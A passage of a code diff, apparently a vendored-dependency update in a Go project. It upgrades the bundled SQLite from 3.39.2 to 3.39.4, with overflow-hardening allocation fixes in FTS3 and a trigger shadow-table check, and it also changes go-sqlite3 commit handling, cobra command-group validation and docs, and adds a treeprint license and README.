returnSingleText(v, sqlite3_data_directory);
|
||||
}else{
|
||||
@@ -132758,6 +132827,7 @@ SQLITE_PRIVATE void sqlite3Pragma(
|
||||
rc = sqlite3OsAccess(db->pVfs, zRight, SQLITE_ACCESS_READWRITE, &res);
|
||||
if( rc!=SQLITE_OK || res==0 ){
|
||||
sqlite3ErrorMsg(pParse, "not a writable directory");
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
goto pragma_out;
|
||||
}
|
||||
}
|
||||
@@ -132769,6 +132839,7 @@ SQLITE_PRIVATE void sqlite3Pragma(
|
||||
}
|
||||
#endif /* SQLITE_OMIT_WSD */
|
||||
}
|
||||
sqlite3_mutex_leave(sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_TEMPDIR));
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
@@ -137214,7 +137285,7 @@ static void generateSortTail(
|
||||
if( addrOnce ) sqlite3VdbeJumpHere(v, addrOnce);
|
||||
addr = 1 + sqlite3VdbeAddOp2(v, OP_SorterSort, iTab, addrBreak);
|
||||
VdbeCoverage(v);
|
||||
codeOffset(v, p->iOffset, addrContinue);
|
||||
assert( p->iLimit==0 && p->iOffset==0 );
|
||||
sqlite3VdbeAddOp3(v, OP_SorterData, iTab, regSortOut, iSortTab);
|
||||
bSeq = 0;
|
||||
}else{
|
||||
@@ -137222,6 +137293,9 @@ static void generateSortTail(
|
||||
codeOffset(v, p->iOffset, addrContinue);
|
||||
iSortTab = iTab;
|
||||
bSeq = 1;
|
||||
if( p->iOffset>0 ){
|
||||
sqlite3VdbeAddOp2(v, OP_AddImm, p->iLimit, -1);
|
||||
}
|
||||
}
|
||||
for(i=0, iCol=nKey+bSeq-1; i<nColumn; i++){
|
||||
#ifdef SQLITE_ENABLE_SORTER_REFERENCES
|
||||
@@ -139214,10 +139288,11 @@ static int multiSelectOrderBy(
|
||||
*/
|
||||
sqlite3VdbeResolveLabel(v, labelEnd);
|
||||
|
||||
/* Reassembly the compound query so that it will be freed correctly
|
||||
/* Reassemble the compound query so that it will be freed correctly
|
||||
** by the calling function */
|
||||
if( pSplit->pPrior ){
|
||||
sqlite3SelectDelete(db, pSplit->pPrior);
|
||||
sqlite3ParserAddCleanup(pParse,
|
||||
(void(*)(sqlite3*,void*))sqlite3SelectDelete, pSplit->pPrior);
|
||||
}
|
||||
pSplit->pPrior = pPrior;
|
||||
pPrior->pNext = pSplit;
|
||||
@@ -140736,6 +140811,7 @@ static Table *isSimpleCount(Select *p, AggInfo *pAggInfo){
|
||||
|| p->pSrc->nSrc!=1
|
||||
|| p->pSrc->a[0].pSelect
|
||||
|| pAggInfo->nFunc!=1
|
||||
|| p->pHaving
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
@@ -143973,6 +144049,23 @@ SQLITE_PRIVATE void sqlite3FinishTrigger(
|
||||
Vdbe *v;
|
||||
char *z;
|
||||
|
||||
/* If this is a new CREATE TABLE statement, and if shadow tables
|
||||
** are read-only, and the trigger makes a change to a shadow table,
|
||||
** then raise an error - do not allow the trigger to be created. */
|
||||
if( sqlite3ReadOnlyShadowTables(db) ){
|
||||
TriggerStep *pStep;
|
||||
for(pStep=pTrig->step_list; pStep; pStep=pStep->pNext){
|
||||
if( pStep->zTarget!=0
|
||||
&& sqlite3ShadowTableName(db, pStep->zTarget)
|
||||
){
|
||||
sqlite3ErrorMsg(pParse,
|
||||
"trigger \"%s\" may not write to shadow table \"%s\"",
|
||||
pTrig->zName, pStep->zTarget);
|
||||
goto triggerfinish_cleanup;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/* Make an entry in the sqlite_schema table */
|
||||
v = sqlite3GetVdbe(pParse);
|
||||
if( v==0 ) goto triggerfinish_cleanup;
|
||||
@@ -149784,7 +149877,8 @@ static int codeEqualityTerm(
|
||||
}
|
||||
sqlite3ExprDelete(db, pX);
|
||||
}else{
|
||||
aiMap = (int*)sqlite3DbMallocZero(pParse->db, sizeof(int)*nEq);
|
||||
int n = sqlite3ExprVectorSize(pX->pLeft);
|
||||
aiMap = (int*)sqlite3DbMallocZero(pParse->db, sizeof(int)*MAX(nEq,n));
|
||||
eType = sqlite3FindInIndex(pParse, pX, IN_INDEX_LOOP, 0, aiMap, &iTab);
|
||||
}
|
||||
pX = pExpr;
|
||||
@@ -176937,7 +177031,7 @@ struct Fts3MultiSegReader {
|
||||
int nAdvance; /* How many seg-readers to advance */
|
||||
Fts3SegFilter *pFilter; /* Pointer to filter object */
|
||||
char *aBuffer; /* Buffer to merge doclists in */
|
||||
int nBuffer; /* Allocated size of aBuffer[] in bytes */
|
||||
i64 nBuffer; /* Allocated size of aBuffer[] in bytes */
|
||||
|
||||
int iColFilter; /* If >=0, filter for this column */
|
||||
int bRestart;
|
||||
@@ -179633,7 +179727,7 @@ static int fts3TermSelectMerge(
|
||||
**
|
||||
** Similar padding is added in the fts3DoclistOrMerge() function.
|
||||
*/
|
||||
pTS->aaOutput[0] = sqlite3_malloc(nDoclist + FTS3_VARINT_MAX + 1);
|
||||
pTS->aaOutput[0] = sqlite3_malloc64((i64)nDoclist + FTS3_VARINT_MAX + 1);
|
||||
pTS->anOutput[0] = nDoclist;
|
||||
if( pTS->aaOutput[0] ){
|
||||
memcpy(pTS->aaOutput[0], aDoclist, nDoclist);
|
||||
@@ -181121,7 +181215,7 @@ static int fts3EvalDeferredPhrase(Fts3Cursor *pCsr, Fts3Phrase *pPhrase){
|
||||
nDistance = iPrev - nMaxUndeferred;
|
||||
}
|
||||
|
||||
aOut = (char *)sqlite3_malloc(nPoslist+8);
|
||||
aOut = (char *)sqlite3Fts3MallocZero(nPoslist+FTS3_BUFFER_PADDING);
|
||||
if( !aOut ){
|
||||
sqlite3_free(aPoslist);
|
||||
return SQLITE_NOMEM;
|
||||
@@ -181490,7 +181584,7 @@ static int fts3EvalIncrPhraseNext(
|
||||
if( bEof==0 ){
|
||||
int nList = 0;
|
||||
int nByte = a[p->nToken-1].nList;
|
||||
char *aDoclist = sqlite3_malloc(nByte+FTS3_BUFFER_PADDING);
|
||||
char *aDoclist = sqlite3_malloc64((i64)nByte+FTS3_BUFFER_PADDING);
|
||||
if( !aDoclist ) return SQLITE_NOMEM;
|
||||
memcpy(aDoclist, a[p->nToken-1].pList, nByte+1);
|
||||
memset(&aDoclist[nByte], 0, FTS3_BUFFER_PADDING);
|
||||
@@ -185726,7 +185820,7 @@ static int porterNext(
|
||||
if( n>c->nAllocated ){
|
||||
char *pNew;
|
||||
c->nAllocated = n+20;
|
||||
pNew = sqlite3_realloc(c->zToken, c->nAllocated);
|
||||
pNew = sqlite3_realloc64(c->zToken, c->nAllocated);
|
||||
if( !pNew ) return SQLITE_NOMEM;
|
||||
c->zToken = pNew;
|
||||
}
|
||||
@@ -186478,7 +186572,7 @@ static int simpleNext(
|
||||
if( n>c->nTokenAllocated ){
|
||||
char *pNew;
|
||||
c->nTokenAllocated = n+20;
|
||||
pNew = sqlite3_realloc(c->pToken, c->nTokenAllocated);
|
||||
pNew = sqlite3_realloc64(c->pToken, c->nTokenAllocated);
|
||||
if( !pNew ) return SQLITE_NOMEM;
|
||||
c->pToken = pNew;
|
||||
}
|
||||
@@ -187640,7 +187734,7 @@ static int fts3PendingListAppendVarint(
|
||||
|
||||
/* Allocate or grow the PendingList as required. */
|
||||
if( !p ){
|
||||
p = sqlite3_malloc(sizeof(*p) + 100);
|
||||
p = sqlite3_malloc64(sizeof(*p) + 100);
|
||||
if( !p ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -187649,14 +187743,14 @@ static int fts3PendingListAppendVarint(
|
||||
p->nData = 0;
|
||||
}
|
||||
else if( p->nData+FTS3_VARINT_MAX+1>p->nSpace ){
|
||||
int nNew = p->nSpace * 2;
|
||||
p = sqlite3_realloc(p, sizeof(*p) + nNew);
|
||||
i64 nNew = p->nSpace * 2;
|
||||
p = sqlite3_realloc64(p, sizeof(*p) + nNew);
|
||||
if( !p ){
|
||||
sqlite3_free(*pp);
|
||||
*pp = 0;
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
p->nSpace = nNew;
|
||||
p->nSpace = (int)nNew;
|
||||
p->aData = (char *)&p[1];
|
||||
}
|
||||
|
||||
@@ -188213,7 +188307,7 @@ SQLITE_PRIVATE int sqlite3Fts3ReadBlock(
|
||||
int nByte = sqlite3_blob_bytes(p->pSegments);
|
||||
*pnBlob = nByte;
|
||||
if( paBlob ){
|
||||
char *aByte = sqlite3_malloc(nByte + FTS3_NODE_PADDING);
|
||||
char *aByte = sqlite3_malloc64((i64)nByte + FTS3_NODE_PADDING);
|
||||
if( !aByte ){
|
||||
rc = SQLITE_NOMEM;
|
||||
}else{
|
||||
@@ -188330,7 +188424,7 @@ static int fts3SegReaderNext(
|
||||
int nTerm = fts3HashKeysize(pElem);
|
||||
if( (nTerm+1)>pReader->nTermAlloc ){
|
||||
sqlite3_free(pReader->zTerm);
|
||||
pReader->zTerm = (char*)sqlite3_malloc((nTerm+1)*2);
|
||||
pReader->zTerm = (char*)sqlite3_malloc64(((i64)nTerm+1)*2);
|
||||
if( !pReader->zTerm ) return SQLITE_NOMEM;
|
||||
pReader->nTermAlloc = (nTerm+1)*2;
|
||||
}
|
||||
@@ -188338,7 +188432,7 @@ static int fts3SegReaderNext(
|
||||
pReader->zTerm[nTerm] = '\0';
|
||||
pReader->nTerm = nTerm;
|
||||
|
||||
aCopy = (char*)sqlite3_malloc(nCopy);
|
||||
aCopy = (char*)sqlite3_malloc64(nCopy);
|
||||
if( !aCopy ) return SQLITE_NOMEM;
|
||||
memcpy(aCopy, pList->aData, nCopy);
|
||||
pReader->nNode = pReader->nDoclist = nCopy;
|
||||
@@ -188625,7 +188719,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderNew(
|
||||
nExtra = nRoot + FTS3_NODE_PADDING;
|
||||
}
|
||||
|
||||
pReader = (Fts3SegReader *)sqlite3_malloc(sizeof(Fts3SegReader) + nExtra);
|
||||
pReader = (Fts3SegReader *)sqlite3_malloc64(sizeof(Fts3SegReader) + nExtra);
|
||||
if( !pReader ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -188717,7 +188811,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderPending(
|
||||
if( nElem==nAlloc ){
|
||||
Fts3HashElem **aElem2;
|
||||
nAlloc += 16;
|
||||
aElem2 = (Fts3HashElem **)sqlite3_realloc(
|
||||
aElem2 = (Fts3HashElem **)sqlite3_realloc64(
|
||||
aElem, nAlloc*sizeof(Fts3HashElem *)
|
||||
);
|
||||
if( !aElem2 ){
|
||||
@@ -189051,7 +189145,7 @@ static int fts3NodeAddTerm(
|
||||
** this is not expected to be a serious problem.
|
||||
*/
|
||||
assert( pTree->aData==(char *)&pTree[1] );
|
||||
pTree->aData = (char *)sqlite3_malloc(nReq);
|
||||
pTree->aData = (char *)sqlite3_malloc64(nReq);
|
||||
if( !pTree->aData ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -189069,7 +189163,7 @@ static int fts3NodeAddTerm(
|
||||
|
||||
if( isCopyTerm ){
|
||||
if( pTree->nMalloc<nTerm ){
|
||||
char *zNew = sqlite3_realloc(pTree->zMalloc, nTerm*2);
|
||||
char *zNew = sqlite3_realloc64(pTree->zMalloc, (i64)nTerm*2);
|
||||
if( !zNew ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -189095,7 +189189,7 @@ static int fts3NodeAddTerm(
|
||||
** now. Instead, the term is inserted into the parent of pTree. If pTree
|
||||
** has no parent, one is created here.
|
||||
*/
|
||||
pNew = (SegmentNode *)sqlite3_malloc(sizeof(SegmentNode) + p->nNodeSize);
|
||||
pNew = (SegmentNode *)sqlite3_malloc64(sizeof(SegmentNode) + p->nNodeSize);
|
||||
if( !pNew ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -189233,7 +189327,7 @@ static int fts3SegWriterAdd(
|
||||
){
|
||||
int nPrefix; /* Size of term prefix in bytes */
|
||||
int nSuffix; /* Size of term suffix in bytes */
|
||||
int nReq; /* Number of bytes required on leaf page */
|
||||
i64 nReq; /* Number of bytes required on leaf page */
|
||||
int nData;
|
||||
SegmentWriter *pWriter = *ppWriter;
|
||||
|
||||
@@ -189242,13 +189336,13 @@ static int fts3SegWriterAdd(
|
||||
sqlite3_stmt *pStmt;
|
||||
|
||||
/* Allocate the SegmentWriter structure */
|
||||
pWriter = (SegmentWriter *)sqlite3_malloc(sizeof(SegmentWriter));
|
||||
pWriter = (SegmentWriter *)sqlite3_malloc64(sizeof(SegmentWriter));
|
||||
if( !pWriter ) return SQLITE_NOMEM;
|
||||
memset(pWriter, 0, sizeof(SegmentWriter));
|
||||
*ppWriter = pWriter;
|
||||
|
||||
/* Allocate a buffer in which to accumulate data */
|
||||
pWriter->aData = (char *)sqlite3_malloc(p->nNodeSize);
|
||||
pWriter->aData = (char *)sqlite3_malloc64(p->nNodeSize);
|
||||
if( !pWriter->aData ) return SQLITE_NOMEM;
|
||||
pWriter->nSize = p->nNodeSize;
|
||||
|
||||
@@ -189323,7 +189417,7 @@ static int fts3SegWriterAdd(
|
||||
** the buffer to make it large enough.
|
||||
*/
|
||||
if( nReq>pWriter->nSize ){
|
||||
char *aNew = sqlite3_realloc(pWriter->aData, nReq);
|
||||
char *aNew = sqlite3_realloc64(pWriter->aData, nReq);
|
||||
if( !aNew ) return SQLITE_NOMEM;
|
||||
pWriter->aData = aNew;
|
||||
pWriter->nSize = nReq;
|
||||
@@ -189348,7 +189442,7 @@ static int fts3SegWriterAdd(
|
||||
*/
|
||||
if( isCopyTerm ){
|
||||
if( nTerm>pWriter->nMalloc ){
|
||||
char *zNew = sqlite3_realloc(pWriter->zMalloc, nTerm*2);
|
||||
char *zNew = sqlite3_realloc64(pWriter->zMalloc, (i64)nTerm*2);
|
||||
if( !zNew ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -189656,12 +189750,12 @@ static void fts3ColumnFilter(
|
||||
static int fts3MsrBufferData(
|
||||
Fts3MultiSegReader *pMsr, /* Multi-segment-reader handle */
|
||||
char *pList,
|
||||
int nList
|
||||
i64 nList
|
||||
){
|
||||
if( nList>pMsr->nBuffer ){
|
||||
char *pNew;
|
||||
pMsr->nBuffer = nList*2;
|
||||
pNew = (char *)sqlite3_realloc(pMsr->aBuffer, pMsr->nBuffer);
|
||||
pNew = (char *)sqlite3_realloc64(pMsr->aBuffer, pMsr->nBuffer);
|
||||
if( !pNew ) return SQLITE_NOMEM;
|
||||
pMsr->aBuffer = pNew;
|
||||
}
|
||||
@@ -189717,7 +189811,7 @@ SQLITE_PRIVATE int sqlite3Fts3MsrIncrNext(
|
||||
fts3SegReaderSort(pMsr->apSegment, nMerge, j, xCmp);
|
||||
|
||||
if( nList>0 && fts3SegReaderIsPending(apSegment[0]) ){
|
||||
rc = fts3MsrBufferData(pMsr, pList, nList+1);
|
||||
rc = fts3MsrBufferData(pMsr, pList, (i64)nList+1);
|
||||
if( rc!=SQLITE_OK ) return rc;
|
||||
assert( (pMsr->aBuffer[nList] & 0xFE)==0x00 );
|
||||
pList = pMsr->aBuffer;
|
||||
@@ -189854,11 +189948,11 @@ SQLITE_PRIVATE int sqlite3Fts3MsrIncrRestart(Fts3MultiSegReader *pCsr){
|
||||
return SQLITE_OK;
|
||||
}
|
||||
|
||||
static int fts3GrowSegReaderBuffer(Fts3MultiSegReader *pCsr, int nReq){
|
||||
static int fts3GrowSegReaderBuffer(Fts3MultiSegReader *pCsr, i64 nReq){
|
||||
if( nReq>pCsr->nBuffer ){
|
||||
char *aNew;
|
||||
pCsr->nBuffer = nReq*2;
|
||||
aNew = sqlite3_realloc(pCsr->aBuffer, pCsr->nBuffer);
|
||||
aNew = sqlite3_realloc64(pCsr->aBuffer, pCsr->nBuffer);
|
||||
if( !aNew ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -189949,7 +190043,8 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderStep(
|
||||
){
|
||||
pCsr->nDoclist = apSegment[0]->nDoclist;
|
||||
if( fts3SegReaderIsPending(apSegment[0]) ){
|
||||
rc = fts3MsrBufferData(pCsr, apSegment[0]->aDoclist, pCsr->nDoclist);
|
||||
rc = fts3MsrBufferData(pCsr, apSegment[0]->aDoclist,
|
||||
(i64)pCsr->nDoclist);
|
||||
pCsr->aDoclist = pCsr->aBuffer;
|
||||
}else{
|
||||
pCsr->aDoclist = apSegment[0]->aDoclist;
|
||||
@@ -190002,7 +190097,8 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderStep(
|
||||
|
||||
nByte = sqlite3Fts3VarintLen(iDelta) + (isRequirePos?nList+1:0);
|
||||
|
||||
rc = fts3GrowSegReaderBuffer(pCsr, nByte+nDoclist+FTS3_NODE_PADDING);
|
||||
rc = fts3GrowSegReaderBuffer(pCsr,
|
||||
(i64)nByte+nDoclist+FTS3_NODE_PADDING);
|
||||
if( rc ) return rc;
|
||||
|
||||
if( isFirst ){
|
||||
@@ -190028,7 +190124,7 @@ SQLITE_PRIVATE int sqlite3Fts3SegReaderStep(
|
||||
fts3SegReaderSort(apSegment, nMerge, j, xCmp);
|
||||
}
|
||||
if( nDoclist>0 ){
|
||||
rc = fts3GrowSegReaderBuffer(pCsr, nDoclist+FTS3_NODE_PADDING);
|
||||
rc = fts3GrowSegReaderBuffer(pCsr, (i64)nDoclist+FTS3_NODE_PADDING);
|
||||
if( rc ) return rc;
|
||||
memset(&pCsr->aBuffer[nDoclist], 0, FTS3_NODE_PADDING);
|
||||
pCsr->aDoclist = pCsr->aBuffer;
|
||||
@@ -190741,7 +190837,7 @@ struct NodeReader {
|
||||
static void blobGrowBuffer(Blob *pBlob, int nMin, int *pRc){
|
||||
if( *pRc==SQLITE_OK && nMin>pBlob->nAlloc ){
|
||||
int nAlloc = nMin;
|
||||
char *a = (char *)sqlite3_realloc(pBlob->a, nAlloc);
|
||||
char *a = (char *)sqlite3_realloc64(pBlob->a, nAlloc);
|
||||
if( a ){
|
||||
pBlob->nAlloc = nAlloc;
|
||||
pBlob->a = a;
|
||||
@@ -191538,7 +191634,7 @@ static int fts3RepackSegdirLevel(
|
||||
if( nIdx>=nAlloc ){
|
||||
int *aNew;
|
||||
nAlloc += 16;
|
||||
aNew = sqlite3_realloc(aIdx, nAlloc*sizeof(int));
|
||||
aNew = sqlite3_realloc64(aIdx, nAlloc*sizeof(int));
|
||||
if( !aNew ){
|
||||
rc = SQLITE_NOMEM;
|
||||
break;
|
||||
@@ -191912,7 +192008,7 @@ SQLITE_PRIVATE int sqlite3Fts3Incrmerge(Fts3Table *p, int nMerge, int nMin){
|
||||
|
||||
/* Allocate space for the cursor, filter and writer objects */
|
||||
const int nAlloc = sizeof(*pCsr) + sizeof(*pFilter) + sizeof(*pWriter);
|
||||
pWriter = (IncrmergeWriter *)sqlite3_malloc(nAlloc);
|
||||
pWriter = (IncrmergeWriter *)sqlite3_malloc64(nAlloc);
|
||||
if( !pWriter ) return SQLITE_NOMEM;
|
||||
pFilter = (Fts3SegFilter *)&pWriter[1];
|
||||
pCsr = (Fts3MultiSegReader *)&pFilter[1];
|
||||
@@ -192548,7 +192644,7 @@ SQLITE_PRIVATE int sqlite3Fts3DeferredTokenList(
|
||||
return SQLITE_OK;
|
||||
}
|
||||
|
||||
pRet = (char *)sqlite3_malloc(p->pList->nData);
|
||||
pRet = (char *)sqlite3_malloc64(p->pList->nData);
|
||||
if( !pRet ) return SQLITE_NOMEM;
|
||||
|
||||
nSkip = sqlite3Fts3GetVarint(p->pList->aData, &dummy);
|
||||
@@ -192568,7 +192664,7 @@ SQLITE_PRIVATE int sqlite3Fts3DeferToken(
|
||||
int iCol /* Column that token must appear in (or -1) */
|
||||
){
|
||||
Fts3DeferredToken *pDeferred;
|
||||
pDeferred = sqlite3_malloc(sizeof(*pDeferred));
|
||||
pDeferred = sqlite3_malloc64(sizeof(*pDeferred));
|
||||
if( !pDeferred ){
|
||||
return SQLITE_NOMEM;
|
||||
}
|
||||
@@ -204147,7 +204243,7 @@ static int geopolyUpdate(
|
||||
sqlite3_free(p);
|
||||
nChange = 1;
|
||||
}
|
||||
for(jj=1; jj<pRtree->nAux; jj++){
|
||||
for(jj=1; jj<nData-2; jj++){
|
||||
nChange++;
|
||||
sqlite3_bind_value(pUp, jj+2, aData[jj+2]);
|
||||
}
|
||||
@@ -204750,8 +204846,9 @@ static void icuRegexpFunc(sqlite3_context *p, int nArg, sqlite3_value **apArg){
|
||||
|
||||
if( U_SUCCESS(status) ){
|
||||
sqlite3_set_auxdata(p, 0, pExpr, icuRegexpDelete);
|
||||
}else{
|
||||
assert(!pExpr);
|
||||
pExpr = sqlite3_get_auxdata(p, 0);
|
||||
}
|
||||
if( !pExpr ){
|
||||
icuFunctionError(p, "uregex_open", status);
|
||||
return;
|
||||
}
|
||||
@@ -236637,7 +236734,7 @@ static void fts5SourceIdFunc(
|
||||
){
|
||||
assert( nArg==0 );
|
||||
UNUSED_PARAM2(nArg, apUnused);
|
||||
sqlite3_result_text(pCtx, "fts5: 2022-07-21 15:24:47 698edb77537b67c41adc68f9b892db56bcf9a55e00371a61420f3ddd668e6603", -1, SQLITE_TRANSIENT);
|
||||
sqlite3_result_text(pCtx, "fts5: 2022-09-29 15:55:41 a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309", -1, SQLITE_TRANSIENT);
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
+3
-3
@@ -147,9 +147,9 @@ extern "C" {
|
||||
** [sqlite3_libversion_number()], [sqlite3_sourceid()],
|
||||
** [sqlite_version()] and [sqlite_source_id()].
|
||||
*/
|
||||
#define SQLITE_VERSION "3.39.2"
|
||||
#define SQLITE_VERSION_NUMBER 3039002
|
||||
#define SQLITE_SOURCE_ID "2022-07-21 15:24:47 698edb77537b67c41adc68f9b892db56bcf9a55e00371a61420f3ddd668e6603"
|
||||
#define SQLITE_VERSION "3.39.4"
|
||||
#define SQLITE_VERSION_NUMBER 3039004
|
||||
#define SQLITE_SOURCE_ID "2022-09-29 15:55:41 a29f9949895322123f7c38fbe94c649a9d6e6c9cd0c3b41c96d694552f26b309"
|
||||
|
||||
/*
|
||||
** CAPI3REF: Run-Time Library Version Numbers
|
||||
|
||||
+4
-2
@@ -494,10 +494,12 @@ func (ai *aggInfo) Done(ctx *C.sqlite3_context) {
|
||||
// Commit transaction.
|
||||
func (tx *SQLiteTx) Commit() error {
|
||||
_, err := tx.c.exec(context.Background(), "COMMIT", nil)
|
||||
if err != nil && err.(Error).Code == C.SQLITE_BUSY {
|
||||
// sqlite3 will leave the transaction open in this scenario.
|
||||
if err != nil {
|
||||
// sqlite3 may leave the transaction open in this scenario.
|
||||
// However, database/sql considers the transaction complete once we
|
||||
// return from Commit() - we must clean up to honour its semantics.
|
||||
// We don't know if the ROLLBACK is strictly necessary, but according
|
||||
// to sqlite's docs, there is no harm in calling ROLLBACK unnecessarily.
|
||||
tx.c.exec(context.Background(), "ROLLBACK", nil)
|
||||
}
|
||||
return err
|
||||
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
// Copyright (C) 2022 Yasuhiro Matsumoto <[email protected]>.
|
||||
//
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// +build sqlite_math_functions
|
||||
|
||||
package sqlite3
|
||||
|
||||
/*
|
||||
#cgo CFLAGS: -DSQLITE_ENABLE_MATH_FUNCTIONS
|
||||
#cgo LDFLAGS: -lm
|
||||
*/
|
||||
import "C"
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Copyright (C) 2022 Yasuhiro Matsumoto <[email protected]>.
|
||||
//
|
||||
// Use of this source code is governed by an MIT-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build sqlite_os_trace
|
||||
// +build sqlite_os_trace
|
||||
|
||||
package sqlite3
|
||||
|
||||
/*
|
||||
#cgo CFLAGS: -DSQLITE_FORCE_OS_TRACE=1
|
||||
#cgo CFLAGS: -DSQLITE_DEBUG_OS_TRACE=1
|
||||
*/
|
||||
import "C"
|
||||
-1
@@ -12,7 +12,6 @@ package sqlite3
|
||||
#cgo CFLAGS: -fno-stack-check
|
||||
#cgo CFLAGS: -fno-stack-protector
|
||||
#cgo CFLAGS: -mno-stack-arg-probe
|
||||
#cgo LDFLAGS: -lmingwex -lmingw32
|
||||
#cgo windows,386 CFLAGS: -D_USE_32BIT_TIME_T
|
||||
*/
|
||||
import "C"
|
||||
+30
@@ -0,0 +1,30 @@
|
||||
package common
|
||||
|
||||
import "fmt"
|
||||
|
||||
type Warnings struct {
|
||||
List []error
|
||||
Verbose bool
|
||||
}
|
||||
|
||||
func (w *Warnings) Add(err error) {
|
||||
w.List = append(w.List, err)
|
||||
}
|
||||
|
||||
func (w *Warnings) Reference() error {
|
||||
if len(w.List) > 0 {
|
||||
return w
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (w *Warnings) Error() string {
|
||||
if w.Verbose {
|
||||
str := ""
|
||||
for i, e := range w.List {
|
||||
str += fmt.Sprintf("\tError %d: %s\n", i, e.Error())
|
||||
}
|
||||
return str
|
||||
}
|
||||
return fmt.Sprintf("Number of warnings: %v", len(w.List))
|
||||
}
|
||||
+17
-4
@@ -998,6 +998,10 @@ func (c *Command) ExecuteC() (cmd *Command, err error) {
|
||||
// initialize completion at the last point to allow for user overriding
|
||||
c.InitDefaultCompletionCmd()
|
||||
|
||||
// Now that all commands have been created, let's make sure all groups
|
||||
// are properly created also
|
||||
c.checkCommandGroups()
|
||||
|
||||
args := c.args
|
||||
|
||||
// Workaround FAIL with "go test -v" or "cobra.test -test.v", see #155
|
||||
@@ -1092,6 +1096,19 @@ func (c *Command) ValidateRequiredFlags() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// checkCommandGroups checks if a command has been added to a group that does not exists.
|
||||
// If so, we panic because it indicates a coding error that should be corrected.
|
||||
func (c *Command) checkCommandGroups() {
|
||||
for _, sub := range c.commands {
|
||||
// if Group is not defined let the developer know right away
|
||||
if sub.GroupID != "" && !c.ContainsGroup(sub.GroupID) {
|
||||
panic(fmt.Sprintf("group id '%s' is not defined for subcommand '%s'", sub.GroupID, sub.CommandPath()))
|
||||
}
|
||||
|
||||
sub.checkCommandGroups()
|
||||
}
|
||||
}
|
||||
|
||||
// InitDefaultHelpFlag adds default help flag to c.
|
||||
// It is called automatically by executing the c or by calling help and usage.
|
||||
// If c already has help flag, it will do nothing.
|
||||
@@ -1218,10 +1235,6 @@ func (c *Command) AddCommand(cmds ...*Command) {
|
||||
panic("Command can't be a child of itself")
|
||||
}
|
||||
cmds[i].parent = c
|
||||
// if Group is not defined let the developer know right away
|
||||
if x.GroupID != "" && !c.ContainsGroup(x.GroupID) {
|
||||
panic(fmt.Sprintf("Group id '%s' is not defined for subcommand '%s'", x.GroupID, cmds[i].CommandPath()))
|
||||
}
|
||||
// update max lengths
|
||||
usageLen := len(x.Use)
|
||||
if usageLen > c.commandsMaxUseLen {
|
||||
|
||||
+5
-4
@@ -492,10 +492,11 @@ around it. In fact, you can provide your own if you want.
|
||||
|
||||
### Grouping commands in help
|
||||
|
||||
Cobra supports grouping of available commands. Groups must be explicitly defined by `AddGroup` and set by
|
||||
the `GroupId` element of a subcommand. The groups will appear in the same order as they are defined.
|
||||
If you use the generated `help` or `completion` commands, you can set the group ids by `SetHelpCommandGroupId`
|
||||
and `SetCompletionCommandGroupId`, respectively.
|
||||
Cobra supports grouping of available commands in the help output. To group commands, each group must be explicitly
|
||||
defined using `AddGroup()` on the parent command. Then a subcommand can be added to a group using the `GroupID` element
|
||||
of that subcommand. The groups will appear in the help output in the same order as they are defined using different
|
||||
calls to `AddGroup()`. If you use the generated `help` or `completion` commands, you can set their group ids using
|
||||
`SetHelpCommandGroupId()` and `SetCompletionCommandGroupId()` on the root command, respectively.
|
||||
|
||||
### Defining your own help
|
||||
|
||||
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
The MIT License (MIT)
|
||||
Copyright © 2016 Maxim Kupriianov <[email protected]>
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the “Software”), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in
|
||||
all copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||
THE SOFTWARE.
|
||||
+154
@@ -0,0 +1,154 @@
|
||||
treeprint [](https://godoc.org/github.com/xlab/treeprint) 
|
||||
=========
|
||||
|
||||
Package `treeprint` provides a simple ASCII tree composing tool.
|
||||
|
||||
